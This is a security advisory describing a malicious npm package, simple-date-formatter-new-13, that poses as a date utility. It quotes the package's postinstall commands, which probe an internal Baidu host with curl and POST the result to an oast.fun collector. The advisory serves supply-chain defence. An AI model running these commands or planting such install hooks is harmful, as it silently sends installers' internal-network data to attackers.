simple-date-formatter-new-13

GHSA-539g-4gx9-g555

Malicious code in simple-date-formatter-new-13 (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54)
[email protected] presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every `npm install`. The postinstall runs `curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt` against an internal Baidu network endpoint, then `curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running `npm install` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/70a54c64ed12966f820d7ef17b912c81c4a2d56d/osv/malicious/npm/simple-date-formatter-new-13/MAL-2026-17159.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/70a54c64ed12966f820d7ef17b912c81c4a2d56d/osv/malicious/npm/simple-date-formatter-new-13/MAL-2026-17159.json
- https://www.npmjs.com/package/simple-date-formatter-new-13/v/1.0.0
- https://github.com/advisories/GHSA-539g-4gx9-g555

Compromised versions (1)

= 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.